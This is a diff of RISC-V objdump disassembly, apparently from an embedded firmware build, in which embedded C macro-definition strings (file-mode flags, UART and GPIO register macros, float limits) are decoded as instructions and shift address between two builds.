-    81ae:	3029                	jal	79b8 <__stack_size+0x71b8>
-    81b0:	0029                	c.nop	10
-    81b2:	52495f53          	0x52495f53
-    81b6:	20475857          	0x20475857
-    81ba:	5328                	lw	a0,96(a4)
-    81bc:	495f 4752 5052      	0x50524752495f
-    81c2:	7c20                	flw	fs0,120(s0)
-    81c4:	5320                	lw	s0,96(a4)
-    81c6:	495f 4757 5052      	0x50524757495f
-    81cc:	7c20                	flw	fs0,120(s0)
-    81ce:	5320                	lw	s0,96(a4)
-    81d0:	495f 4758 5052      	0x50524758495f
-    81d6:	0029                	c.nop	10
-    81d8:	49445f4f          	fnmadd.s	ft10,fs0,fs4,fs1,unknown
-    81dc:	4552                	lw	a0,20(sp)
-    81de:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    81e2:	2059                	jal	8268 <__stack_size+0x7a68>
-    81e4:	465f 4944 4552      	0x45524944465f
-    81ea:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    81ee:	0059                	c.nop	22
-    81f0:	4e5f 544f 5248      	0x5248544f4e5f
-    81f6:	0020574f          	fnmadd.s	fa4,ft0,ft2,ft0,unknown
-    81fa:	5f5f 4343 535f      	0x535f43435f5f
-    8200:	5055                	c.li	zero,-11
-    8202:	4f50                	lw	a2,28(a4)
-    8204:	5452                	lw	s0,52(sp)
-    8206:	5f5f5f53          	0x5f5f5f53
-    820a:	4e49                	li	t3,18
-    820c:	494c                	lw	a1,20(a0)
-    820e:	454e                	lw	a0,208(sp)
-    8210:	5f5f 3120 5f00      	0x5f0031205f5f
-    8216:	4f46                	lw	t5,80(sp)
-    8218:	4550                	lw	a2,12(a0)
-    821a:	204e                	fld	ft0,208(sp)
-    821c:	2d28                	fld	fa0,88(a0)
-    821e:	2931                	jal	863a <__stack_size+0x7e3a>
-    8220:	5f00                	lw	s0,56(a4)
-    8222:	6f647473          	csrrci	s0,0x6f6,8
-    8226:	7475                	lui	s0,0xffffd
-    8228:	725f 7828 2029      	0x20297828725f
-    822e:	2828                	fld	fa0,80(s0)
-    8230:	2978                	fld	fa4,208(a0)
-    8232:	3e2d                	jal	7d6c <__stack_size+0x756c>
-    8234:	735f 6474 756f      	0x756f6474735f
-    823a:	2974                	fld	fa3,208(a0)
-    823c:	4700                	lw	s0,8(a4)
-    823e:	4950                	lw	a2,20(a0)
-    8240:	4e495f4f          	fnmadd.q	ft10,fs2,ft4,fs1,unknown
-    8244:	5550                	lw	a2,44(a0)
-    8246:	5f54                	lw	a3,60(a4)
-    8248:	4e45                	li	t3,17
-    824a:	3020                	fld	fs0,96(s0)
-    824c:	3078                	fld	fa4,224(s0)
-    824e:	0034                	addi	a3,sp,8
-    8250:	555f 4449 545f      	0x545f4449555f
-    8256:	445f 4345 414c      	0x414c4345445f
-    825c:	4552                	lw	a0,20(sp)
-    825e:	2044                	fld	fs1,128(s0)
-    8260:	5f00                	lw	s0,56(a4)
-    8262:	545f4353          	0x545f4353
-    8266:	4d49                	li	s10,18
-    8268:	4f45                	li	t5,17
-    826a:	5455                	li	s0,-11
-    826c:	32382053          	0x32382053
-    8270:	7300                	flw	fs0,32(a4)
-    8272:	7274                	flw	fa3,100(a2)
-    8274:	00797063          	bgeu	s2,t2,8274 <__stack_size+0x7a74>
-    8278:	4c4c4f43          	0x4c4c4f43
-    827c:	575f 4945 4847      	0x48474945575f
-    8282:	5354                	lw	a3,36(a4)
-    8284:	4d5f 5841 3020      	0x302058414d5f
-    828a:	5f00                	lw	s0,56(a4)
-    828c:	475f4353          	0x475f4353
-    8290:	5445                	li	s0,-15
-    8292:	5750                	lw	a2,44(a4)
-    8294:	525f 535f 5a49      	0x5a49535f525f
-    829a:	5f45                	li	t5,-15
-    829c:	414d                	li	sp,19
-    829e:	2058                	fld	fa4,128(s0)
-    82a0:	3135                	jal	7ecc <__stack_size+0x76cc>
-    82a2:	5f00                	lw	s0,56(a4)
-    82a4:	4552                	lw	a0,20(sp)
-    82a6:	4e45                	li	t3,17
-    82a8:	5f54                	lw	a3,60(a4)
-    82aa:	4e49                	li	t3,18
-    82ac:	5449                	li	s0,-14
-    82ae:	415f 4554 4958      	0x49584554415f
-    82b4:	2054                	fld	fa3,128(s0)
-    82b6:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    82bc:	5f20                	lw	s0,120(a4)
-    82be:	5441                	li	s0,-16
-    82c0:	5845                	li	a6,-15
-    82c2:	5449                	li	s0,-14
-    82c4:	495f 494e 2c54      	0x2c54494e495f
-    82ca:	5f00                	lw	s0,56(a4)
-    82cc:	4552                	lw	a0,20(sp)
-    82ce:	4e45                	li	t3,17
-    82d0:	5f54                	lw	a3,60(a4)
-    82d2:	4e474953          	0x4e474953
-    82d6:	4c41                	li	s8,16
-    82d8:	535f 5a49 2045      	0x20455a49535f
-    82de:	3432                	fld	fs0,296(sp)
-    82e0:	5f00                	lw	s0,56(a4)
-    82e2:	5f535953          	0x5f535953
-    82e6:	4552                	lw	a0,20(sp)
-    82e8:	4e45                	li	t3,17
-    82ea:	5f54                	lw	a3,60(a4)
-    82ec:	5f48                	lw	a0,60(a4)
-    82ee:	0020                	addi	s0,sp,8
-    82f0:	5f5f 4c46 3354      	0x33544c465f5f
-    82f6:	5832                	lw	a6,44(sp)
-    82f8:	4d5f 4e49 455f      	0x455f4e494d5f
-    82fe:	5058                	lw	a4,36(s0)
-    8300:	5f5f 2820 312d      	0x312d28205f5f
-    8306:	3230                	fld	fa2,96(a2)
-    8308:	2931                	jal	8724 <__stack_size+0x7f24>
-    830a:	4600                	lw	s0,8(a2)
-    830c:	5f44                	lw	s1,60(a4)
-    830e:	53544553          	0x53544553
-    8312:	5a49                	li	s4,-14
-    8314:	2045                	jal	83b4 <__stack_size+0x7bb4>
-    8316:	3436                	fld	fs0,360(sp)
-    8318:	4300                	lw	s0,0(a4)
-    831a:	4d5f5253          	0x4d5f5253
-    831e:	4c435943          	0x4c435943
-    8322:	4845                	li	a6,17
-    8324:	3120                	fld	fs0,96(a0)
-    8326:	425f0037          	lui	zero,0x425f0
-    832a:	505f4453          	0x505f4453
-    832e:	5254                	lw	a3,36(a2)
-    8330:	4944                	lw	s1,20(a0)
-    8332:	4646                	lw	a2,80(sp)
-    8334:	545f 205f 5f00      	0x5f00205f545f
-    833a:	575f 4843 5241      	0x52414843575f
-    8340:	545f 0020 5f5f      	0x5f5f0020545f
-    8346:	4244                	lw	s1,4(a2)
-    8348:	5f4c                	lw	a1,60(a4)
-    834a:	4944                	lw	s1,20(a0)
-    834c:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    8350:	3531                	jal	815c <__stack_size+0x795c>
-    8352:	5f00                	lw	s0,56(a4)
-    8354:	435f 5f43 5553      	0x55535f43435f
-    835a:	5050                	lw	a2,36(s0)
-    835c:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-    8360:	5f5f 465f 4e55      	0x4e55465f5f5f
-    8366:	205f5f43          	fmadd.s	ft10,ft10,ft5,ft4,unknown
-    836a:	0031                	c.nop	12
-    836c:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    8370:	45525f4b          	0x45525f4b
-    8374:	4c41                	li	s8,16
-    8376:	4954                	lw	a3,20(a0)
-    8378:	454d                	li	a0,19
-    837a:	2820                	fld	fs0,80(s0)
-    837c:	6328                	flw	fa0,64(a4)
-    837e:	6f6c                	flw	fa1,92(a4)
-    8380:	64696b63          	bltu	s2,t1,89d6 <__stack_size+0x81d6>
-    8384:	745f 2029 2931      	0x29312029745f
-    838a:	5f00                	lw	s0,56(a4)
-    838c:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    8392:	6361                	lui	t1,0x18
-    8394:	7571                	lui	a0,0xffffc
-    8396:	7269                	lui	tp,0xffffa
-    8398:	5f65                	li	t5,-7
-    839a:	6572                	flw	fa0,28(sp)
-    839c:	73727563          	bgeu	tp,s7,8ac6 <__stack_size+0x82c6>
-    83a0:	7669                	lui	a2,0xffffa
-    83a2:	2865                	jal	845a <__stack_size+0x7c5a>
-    83a4:	6f6c                	flw	fa1,92(a4)
-    83a6:	20296b63          	bltu	s2,sp,85bc <__stack_size+0x7dbc>
-    83aa:	2828                	fld	fa0,80(s0)
-    83ac:	6f76                	flw	ft10,92(sp)
-    83ae:	6469                	lui	s0,0x1a
-    83b0:	2029                	jal	83ba <__stack_size+0x7bba>
-    83b2:	2930                	fld	fa2,80(a0)
-    83b4:	5f00                	lw	s0,56(a4)
-    83b6:	755f 635f 6168      	0x6168635f755f
-    83bc:	5f72                	lw	t5,60(sp)
-    83be:	6564                	flw	fs1,76(a0)
-    83c0:	6966                	flw	fs2,88(sp)
-    83c2:	656e                	flw	fa0,216(sp)
-    83c4:	2064                	fld	fs1,192(s0)
-    83c6:	5000                	lw	s0,32(s0)
-    83c8:	435f4d57          	0x435f4d57
-    83cc:	4746                	lw	a4,80(sp)
-    83ce:	5a5f 5245 434f      	0x434f52455a5f
-    83d4:	504d                	c.li	zero,-13
-    83d6:	3020                	fld	fs0,96(s0)
-    83d8:	3078                	fld	fa4,224(s0)
-    83da:	3030                	fld	fa2,96(s0)
-    83dc:	3030                	fld	fa2,96(s0)
-    83de:	3032                	fld	ft0,296(sp)
-    83e0:	0030                	addi	a2,sp,8
-    83e2:	505f 534f 5849      	0x5849534f505f
-    83e8:	535f 554f 4352      	0x4352554f535f
-    83ee:	2045                	jal	848e <__stack_size+0x7c8e>
+    8010:	6570                	flw	fa2,76(a0)
+    8012:	286e                	fld	fa6,216(sp)
+    8014:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
+    801a:	6569                	lui	a0,0x1a
+    801c:	202c                	fld	fa1,64(s0)
+    801e:	5f5f 6e66 202c      	0x202c6e665f5f
+    8024:	6928                	flw	fa0,80(a0)
+    8026:	746e                	flw	fs0,248(sp)
+    8028:	2820                	fld	fs0,80(s0)
+    802a:	292a                	fld	fs2,136(sp)
+    802c:	2928                	fld	fa0,80(a0)
+    802e:	3029                	jal	7838 <__stack_size+0x7038>
+    8030:	202c                	fld	fa1,64(s0)
+    8032:	6628                	flw	fa0,72(a2)
+    8034:	6f70                	flw	fa2,92(a4)
+    8036:	20745f73          	csrrwi	t5,0x207,8
+    803a:	2a28                	fld	fa0,80(a2)
+    803c:	2829                	jal	8056 <__stack_size+0x7856>
+    803e:	2929                	jal	8458 <__stack_size+0x7c58>
+    8040:	2c30                	fld	fa2,88(s0)
+    8042:	2820                	fld	fs0,80(s0)
+    8044:	6e69                	lui	t3,0x1a
+    8046:	2074                	fld	fa3,192(s0)
+    8048:	2a28                	fld	fa0,80(a2)
+    804a:	2829                	jal	8064 <__stack_size+0x7864>
+    804c:	2929                	jal	8466 <__stack_size+0x7c66>
+    804e:	2930                	fld	fa2,80(a0)
+    8050:	5f00                	lw	s0,56(a4)
+    8052:	44445453          	0x44445453
+    8056:	4645                	li	a2,17
+    8058:	485f 205f 5800      	0x5800205f485f
+    805e:	4f5f 204b 0031      	0x31204b4f5f
+    8064:	415f 4654 4c49      	0x4c494654415f
+    806a:	5f45                	li	t5,-15
+    806c:	52554f53          	0x52554f53
+    8070:	31204543          	fmadd.s	fa0,ft0,fs2,ft6,rmm
+    8074:	4700                	lw	s0,8(a4)
+    8076:	4950                	lw	a2,20(a0)
+    8078:	41425f4f          	fnmadd.s	ft10,ft4,fs4,fs0,unknown
+    807c:	30204553          	0x30204553
+    8080:	3178                	fld	fa4,224(a0)
+    8082:	3030                	fld	fa2,96(s0)
+    8084:	3231                	jal	7990 <__stack_size+0x7190>
+    8086:	3030                	fld	fa2,96(s0)
+    8088:	0030                	addi	a2,sp,8
+    808a:	5f5f 6673 6c69      	0x6c6966735f5f
+    8090:	6e65                	lui	t3,0x19
+    8092:	2970286f          	jal	a6,ab28 <__stack_size+0xa328>
+    8096:	2820                	fld	fs0,80(s0)
+    8098:	7028                	flw	fa0,96(s0)
+    809a:	2d29                	jal	86b4 <__stack_size+0x7eb4>
+    809c:	5f3e                	lw	t5,236(sp)
+    809e:	6966                	flw	fs2,88(sp)
+    80a0:	656c                	flw	fa1,76(a0)
+    80a2:	0029                	c.nop	10
+    80a4:	4c494843          	0x4c494843
+    80a8:	5f44                	lw	s1,60(a4)
+    80aa:	414d                	li	sp,19
+    80ac:	2058                	fld	fa4,128(s0)
+    80ae:	3034                	fld	fa3,96(s0)
+    80b0:	5f00                	lw	s0,56(a4)
+    80b2:	475f 554e 5f43      	0x5f43554e475f
+    80b8:	5250                	lw	a2,36(a2)
+    80ba:	5245                	li	tp,-15
+    80bc:	5145                	li	sp,-15
+    80be:	5f5f 6d28 2c61      	0x2c616d285f5f
+    80c4:	696d                	lui	s2,0x1b
+    80c6:	2029                	jal	80d0 <__stack_size+0x78d0>
+    80c8:	5f5f 4e47 4355      	0x43554e475f5f
+    80ce:	505f 4552 4552      	0x45524552505f
+    80d4:	2851                	jal	8168 <__stack_size+0x7968>
+    80d6:	616d                	addi	sp,sp,240
+    80d8:	202c                	fld	fa1,64(s0)
+    80da:	696d                	lui	s2,0x1b
+    80dc:	0029                	c.nop	10
+    80de:	455f 494c 4144      	0x4144494c455f
+    80e4:	4c42                	lw	s8,16(sp)
+    80e6:	5f45                	li	t5,-15
+    80e8:	4e49                	li	t3,18
+    80ea:	494c                	lw	a1,20(a0)
+    80ec:	454e                	lw	a0,208(sp)
+    80ee:	7320                	flw	fs0,96(a4)
+    80f0:	6174                	flw	fa3,68(a0)
+    80f2:	6974                	flw	fa3,84(a0)
+    80f4:	5f5f2063          	0x5f5f2063
+    80f8:	6e69                	lui	t3,0x1a
+    80fa:	696c                	flw	fa1,84(a0)
+    80fc:	656e                	flw	fa0,216(sp)
+    80fe:	5f5f 5f00 685f      	0x685f5f005f5f
+    8104:	6f74                	flw	fa3,92(a4)
+    8106:	6c6e                	flw	fs8,216(sp)
+    8108:	5f28                	lw	a0,120(a4)
+    810a:	2978                	fld	fa4,208(a0)
+    810c:	5f20                	lw	s0,120(a4)
+    810e:	625f 7773 7061      	0x70617773625f
+    8114:	5f283233          	0x5f283233
+    8118:	2978                	fld	fa4,208(a0)
+    811a:	5f00                	lw	s0,56(a4)
+    811c:	5f535953          	0x5f535953
+    8120:	505f 4854 4552      	0x45524854505f
+    8126:	4441                	li	s0,16
+    8128:	5954                	lw	a3,52(a0)
+    812a:	4550                	lw	a2,12(a0)
+    812c:	5f485f53          	0x5f485f53
+    8130:	0020                	addi	s0,sp,8
+    8132:	5f5f 4c46 3654      	0x36544c465f5f
+    8138:	5f34                	lw	a3,120(a4)
+    813a:	494d                	li	s2,19
+    813c:	5f4e                	lw	t5,240(sp)
+    813e:	5845                	li	a6,-15
+    8140:	5f50                	lw	a2,60(a4)
+    8142:	205f 2d28 3031      	0x30312d28205f
+    8148:	3132                	fld	ft2,296(sp)
+    814a:	0029                	c.nop	10
+    814c:	5f5f 4e49 5f54      	0x5f544e495f5f
+    8152:	4146                	lw	sp,80(sp)
+    8154:	32335453          	0x32335453
+    8158:	545f 5059 5f45      	0x5f455059545f
+    815e:	205f 6e69 0074      	0x746e69205f
+    8164:	4155                	li	sp,21
+    8166:	5452                	lw	s0,52(sp)
+    8168:	525f 4745 6f28      	0x6f284745525f
+    816e:	6666                	flw	fa2,88(sp)
+    8170:	29746573          	csrrsi	a0,0x297,8
+    8174:	5f20                	lw	s0,120(a4)
+    8176:	4552                	lw	a0,20(sp)
+    8178:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
+    817c:	4155                	li	sp,21
+    817e:	5452                	lw	s0,52(sp)
+    8180:	425f 5341 2c45      	0x2c455341425f
+    8186:	6f20                	flw	fs0,88(a4)
+    8188:	6666                	flw	fa2,88(sp)
+    818a:	29746573          	csrrsi	a0,0x297,8
+    818e:	5f00                	lw	s0,56(a4)
+    8190:	545f4353          	0x545f4353
+    8194:	4152                	lw	sp,20(sp)
+    8196:	4e5f4543          	fmadd.q	fa0,ft10,ft5,fs1,rmm
+    819a:	4d41                	li	s10,16
+    819c:	5f45                	li	t5,-15
+    819e:	414d                	li	sp,19
+    81a0:	2058                	fld	fa4,128(s0)
+    81a2:	3838                	fld	fa4,112(s0)
+    81a4:	4300                	lw	s0,0(a4)
+    81a6:	4f4c                	lw	a1,28(a4)
+    81a8:	5f534b43          	fmadd.q	fs6,ft6,fs5,fa1,rmm
+    81ac:	4550                	lw	a2,12(a0)
+    81ae:	5f52                	lw	t5,52(sp)
+    81b0:	20434553          	0x20434553
+    81b4:	435f 4f4c 4b43      	0x4b434f4c435f
+    81ba:	45505f53          	0x45505f53
+    81be:	5f52                	lw	t5,52(sp)
+    81c0:	5f434553          	0x5f434553
+    81c4:	5300                	lw	s0,32(a4)
+    81c6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    81ca:	4d5f 4e49 5f00      	0x5f004e494d5f
+    81d0:	754e                	flw	fa0,240(sp)
+    81d2:	6c6c                	flw	fa1,92(s0)
+    81d4:	6261                	lui	tp,0x18
+    81d6:	656c                	flw	fa1,76(a0)
+    81d8:	0020                	addi	s0,sp,8
+    81da:	7766                	flw	fa4,120(sp)
+    81dc:	6e65706f          	j	5f8c2 <__stack_size+0x5f0c2>
+    81e0:	5f28                	lw	a0,120(a4)
+    81e2:	635f 6f6f 696b      	0x696b6f6f635f
+    81e8:	2c65                	jal	84a0 <__stack_size+0x7ca0>
+    81ea:	5f5f 6e66 2029      	0x20296e665f5f
+    81f0:	7566                	flw	fa0,120(sp)
+    81f2:	6f6e                	flw	ft10,216(sp)
+    81f4:	6570                	flw	fa2,76(a0)
+    81f6:	286e                	fld	fa6,216(sp)
+    81f8:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
+    81fe:	6569                	lui	a0,0x1a
+    8200:	202c                	fld	fa1,64(s0)
+    8202:	6928                	flw	fa0,80(a0)
+    8204:	746e                	flw	fs0,248(sp)
+    8206:	2820                	fld	fs0,80(s0)
+    8208:	292a                	fld	fs2,136(sp)
+    820a:	2928                	fld	fa0,80(a0)
+    820c:	3029                	jal	7a16 <__stack_size+0x7216>
+    820e:	202c                	fld	fa1,64(s0)
+    8210:	5f5f 6e66 202c      	0x202c6e665f5f
+    8216:	6628                	flw	fa0,72(a2)
+    8218:	6f70                	flw	fa2,92(a4)
+    821a:	20745f73          	csrrwi	t5,0x207,8
+    821e:	2a28                	fld	fa0,80(a2)
+    8220:	2829                	jal	823a <__stack_size+0x7a3a>
+    8222:	2929                	jal	863c <__stack_size+0x7e3c>
+    8224:	2c30                	fld	fa2,88(s0)
+    8226:	2820                	fld	fs0,80(s0)
+    8228:	6e69                	lui	t3,0x1a
+    822a:	2074                	fld	fa3,192(s0)
+    822c:	2a28                	fld	fa0,80(a2)
+    822e:	2829                	jal	8248 <__stack_size+0x7a48>
+    8230:	2929                	jal	864a <__stack_size+0x7e4a>
+    8232:	2930                	fld	fa2,80(a0)
+    8234:	5300                	lw	s0,32(a4)
+    8236:	495f 5752 4758      	0x47585752495f
+    823c:	2820                	fld	fs0,80(s0)
+    823e:	52495f53          	0x52495f53
+    8242:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8246:	207c                	fld	fa5,192(s0)
+    8248:	57495f53          	0x57495f53
+    824c:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8250:	207c                	fld	fa5,192(s0)
+    8252:	58495f53          	0x58495f53
+    8256:	29505247          	fmsub.s	ft4,ft0,fs5,ft5,unknown
+    825a:	4f00                	lw	s0,24(a4)
+    825c:	445f 5249 4345      	0x43455249445f
+    8262:	4f54                	lw	a3,28(a4)
+    8264:	5952                	lw	s2,52(sp)
+    8266:	5f20                	lw	s0,120(a4)
+    8268:	4446                	lw	s0,80(sp)
+    826a:	5249                	li	tp,-14
+    826c:	4345                	li	t1,17
+    826e:	4f54                	lw	a3,28(a4)
+    8270:	5952                	lw	s2,52(sp)
+    8272:	5f00                	lw	s0,56(a4)
+    8274:	4f4e                	lw	t5,208(sp)
+    8276:	4854                	lw	a3,20(s0)
+    8278:	4f52                	lw	t5,20(sp)
+    827a:	5f002057          	0x5f002057
+    827e:	435f 5f43 5553      	0x55535f43435f
+    8284:	5050                	lw	a2,36(s0)
+    8286:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    828a:	5f5f 495f 4c4e      	0x4c4e495f5f5f
+    8290:	4e49                	li	t3,18
+    8292:	5f45                	li	t5,-15
+    8294:	205f 0031 465f      	0x465f0031205f
+    829a:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+    829e:	2820                	fld	fs0,80(s0)
+    82a0:	312d                	jal	7eca <__stack_size+0x76ca>
+    82a2:	0029                	c.nop	10
+    82a4:	735f 6474 756f      	0x756f6474735f
+    82aa:	5f74                	lw	a3,124(a4)
+    82ac:	2872                	fld	fa6,280(sp)
+    82ae:	2978                	fld	fa4,208(a0)
+    82b0:	2820                	fld	fs0,80(s0)
+    82b2:	7828                	flw	fa0,112(s0)
+    82b4:	2d29                	jal	88ce <__stack_size+0x80ce>
+    82b6:	5f3e                	lw	t5,236(sp)
+    82b8:	6f647473          	csrrci	s0,0x6f6,8
+    82bc:	7475                	lui	s0,0xffffd
+    82be:	0029                	c.nop	10
+    82c0:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    82c4:	495f 504e 5455      	0x5455504e495f
+    82ca:	455f 204e 7830      	0x7830204e455f
+    82d0:	3430                	fld	fa2,104(s0)
+    82d2:	5f00                	lw	s0,56(a4)
+    82d4:	4955                	li	s2,21
+    82d6:	5f44                	lw	s1,60(a4)
+    82d8:	5f54                	lw	a3,60(a4)
+    82da:	4544                	lw	s1,12(a0)
+    82dc:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    82e0:	4445                	li	s0,17
+    82e2:	0020                	addi	s0,sp,8
+    82e4:	5f5f 5441 5254      	0x525454415f5f
+    82ea:	4249                	li	tp,18
+    82ec:	5455                	li	s0,-11
+    82ee:	5f45                	li	t5,-15
+    82f0:	4d49                	li	s10,18
+    82f2:	5550                	lw	a2,44(a0)
+    82f4:	4552                	lw	a0,20(sp)
+    82f6:	505f 5254 5f5f      	0x5f5f5254505f
+    82fc:	0020                	addi	s0,sp,8
+    82fe:	4c4c4f43          	0x4c4c4f43
+    8302:	575f 4945 4847      	0x48474945575f
+    8308:	5354                	lw	a3,36(a4)
+    830a:	4d5f 5841 3020      	0x302058414d5f
+    8310:	5f00                	lw	s0,56(a4)
+    8312:	475f4353          	0x475f4353
+    8316:	5445                	li	s0,-15
+    8318:	5750                	lw	a2,44(a4)
+    831a:	525f 535f 5a49      	0x5a49535f525f
+    8320:	5f45                	li	t5,-15
+    8322:	414d                	li	sp,19
+    8324:	2058                	fld	fa4,128(s0)
+    8326:	3135                	jal	7f52 <__stack_size+0x7752>
+    8328:	5f00                	lw	s0,56(a4)
+    832a:	4552                	lw	a0,20(sp)
+    832c:	4e45                	li	t3,17
+    832e:	5f54                	lw	a3,60(a4)
+    8330:	4e49                	li	t3,18
+    8332:	5449                	li	s0,-14
+    8334:	415f 4554 4958      	0x49584554415f
+    833a:	2054                	fld	fa3,128(s0)
+    833c:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    8342:	5f20                	lw	s0,120(a4)
+    8344:	5441                	li	s0,-16
+    8346:	5845                	li	a6,-15
+    8348:	5449                	li	s0,-14
+    834a:	495f 494e 2c54      	0x2c54494e495f
+    8350:	5f00                	lw	s0,56(a4)
+    8352:	4552                	lw	a0,20(sp)
+    8354:	4e45                	li	t3,17
+    8356:	5f54                	lw	a3,60(a4)
+    8358:	4e474953          	0x4e474953
+    835c:	4c41                	li	s8,16
+    835e:	535f 5a49 2045      	0x20455a49535f
+    8364:	3432                	fld	fs0,296(sp)
+    8366:	5f00                	lw	s0,56(a4)
+    8368:	5f535953          	0x5f535953
+    836c:	4552                	lw	a0,20(sp)
+    836e:	4e45                	li	t3,17
+    8370:	5f54                	lw	a3,60(a4)
+    8372:	5f48                	lw	a0,60(a4)
+    8374:	0020                	addi	s0,sp,8
+    8376:	5f5f 4c46 3354      	0x33544c465f5f
+    837c:	5832                	lw	a6,44(sp)
+    837e:	4d5f 4e49 455f      	0x455f4e494d5f
+    8384:	5058                	lw	a4,36(s0)
+    8386:	5f5f 2820 312d      	0x312d28205f5f
+    838c:	3230                	fld	fa2,96(a2)
+    838e:	2931                	jal	87aa <__stack_size+0x7faa>
+    8390:	4600                	lw	s0,8(a2)
+    8392:	5f44                	lw	s1,60(a4)
+    8394:	53544553          	0x53544553
+    8398:	5a49                	li	s4,-14
+    839a:	2045                	jal	843a <__stack_size+0x7c3a>
+    839c:	3436                	fld	fs0,360(sp)
+    839e:	4300                	lw	s0,0(a4)
+    83a0:	4d5f5253          	0x4d5f5253
+    83a4:	4c435943          	0x4c435943
+    83a8:	4845                	li	a6,17
+    83aa:	3120                	fld	fs0,96(a0)
+    83ac:	425f0037          	lui	zero,0x425f0
+    83b0:	505f4453          	0x505f4453
+    83b4:	5254                	lw	a3,36(a2)
+    83b6:	4944                	lw	s1,20(a0)
+    83b8:	4646                	lw	a2,80(sp)
+    83ba:	545f 205f 5f00      	0x5f00205f545f
+    83c0:	575f 4843 5241      	0x52414843575f
+    83c6:	545f 0020 5f5f      	0x5f5f0020545f
+    83cc:	4244                	lw	s1,4(a2)
+    83ce:	5f4c                	lw	a1,60(a4)
+    83d0:	4944                	lw	s1,20(a0)
+    83d2:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    83d6:	3531                	jal	81e2 <__stack_size+0x79e2>
+    83d8:	5f00                	lw	s0,56(a4)
+    83da:	435f 5f43 5553      	0x55535f43435f
+    83e0:	5050                	lw	a2,36(s0)
+    83e2:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    83e6:	5f5f 465f 4e55      	0x4e55465f5f5f
+    83ec:	205f5f43          	fmadd.s	ft10,ft10,ft5,ft4,unknown
     83f0:	0031                	c.nop	12
-    83f2:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    83f6:	425f 5449 5f00      	0x5f005449425f
-    83fc:	495f 544e 3631      	0x3631544e495f
-    8402:	435f 6328 2029      	0x20296328435f
-    8408:	4e490063          	beq	s2,tp,88e8 <__stack_size+0x80e8>
-    840c:	3154                	fld	fa3,160(a0)
-    840e:	5f36                	lw	t5,108(sp)
-    8410:	494d                	li	s2,19
-    8412:	004e                	c.slli	zero,0x13
-    8414:	4f5f 4646 545f      	0x545f46464f5f
-    841a:	445f 4345 414c      	0x414c4345445f
-    8420:	4552                	lw	a0,20(sp)
-    8422:	2044                	fld	fs1,128(s0)
-    8424:	5700                	lw	s0,40(a4)
-    8426:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    842a:	4d5f 4e49 5f20      	0x5f204e494d5f
-    8430:	575f 4843 5241      	0x52414843575f
-    8436:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    843c:	5f00                	lw	s0,56(a4)
-    843e:	615f 7474 6972      	0x69727474615f
-    8444:	7562                	flw	fa0,56(sp)
-    8446:	6574                	flw	fa3,76(a0)
-    8448:	665f 726f 616d      	0x616d726f665f
-    844e:	5f74                	lw	a3,124(a4)
-    8450:	66727473          	csrrci	s0,0x667,4
-    8454:	6f6d                	lui	t5,0x1b
-    8456:	5f6e                	lw	t5,248(sp)
-    8458:	285f 2c61 2962      	0x29622c61285f
-    845e:	0020                	addi	s0,sp,8
-    8460:	5f5f 4c46 3154      	0x31544c465f5f
-    8466:	3832                	fld	fa6,296(sp)
-    8468:	485f 5341 495f      	0x495f5341485f
-    846e:	464e                	lw	a2,208(sp)
-    8470:	4e49                	li	t3,18
-    8472:	5449                	li	s0,-14
-    8474:	5f59                	li	t5,-10
-    8476:	205f 0031 5f5f      	0x5f5f0031205f
-    847c:	736c                	flw	fa1,100(a4)
-    847e:	7268                	flw	fa0,100(a2)
-    8480:	6964                	flw	fs1,84(a0)
-    8482:	5f5f0033          	0x5f5f0033
-    8486:	455a4953          	0x455a4953
-    848a:	535f464f          	fnmadd.d	fa2,ft10,fs5,fa0,rmm
-    848e:	4f48                	lw	a0,28(a4)
-    8490:	5452                	lw	s0,52(sp)
-    8492:	5f5f 3220 4c00      	0x4c0032205f5f
-    8498:	4445                	li	s0,17
-    849a:	525f 4445 3120      	0x31204445525f
-    84a0:	5500                	lw	s0,40(a0)
-    84a2:	4e49                	li	t3,18
-    84a4:	5054                	lw	a3,36(s0)
-    84a6:	5254                	lw	a3,36(a2)
-    84a8:	4d5f 5841 5f20      	0x5f2058414d5f
-    84ae:	555f 4e49 5054      	0x50544e49555f
-    84b4:	5254                	lw	a3,36(a2)
-    84b6:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    84bc:	4900                	lw	s0,16(a0)
-    84be:	544e                	lw	s0,240(sp)
-    84c0:	5f38                	lw	a4,120(a4)
-    84c2:	414d                	li	sp,19
-    84c4:	2058                	fld	fa4,128(s0)
-    84c6:	5f5f 4e49 3854      	0x38544e495f5f
-    84cc:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    84d2:	5f00                	lw	s0,56(a4)
-    84d4:	685f 7661 5f65      	0x5f657661685f
-    84da:	6f6c                	flw	fa1,92(a4)
-    84dc:	676e                	flw	fa4,216(sp)
-    84de:	31203233          	0x31203233
-    84e2:	5300                	lw	s0,32(a4)
-    84e4:	495f 4353 5248      	0x52484353495f
-    84ea:	6d28                	flw	fa0,88(a0)
-    84ec:	2029                	jal	84f6 <__stack_size+0x7cf6>
-    84ee:	2828                	fld	fa0,80(s0)
-    84f0:	6d28                	flw	fa0,88(a0)
-    84f2:	2629                	jal	87fc <__stack_size+0x7ffc>
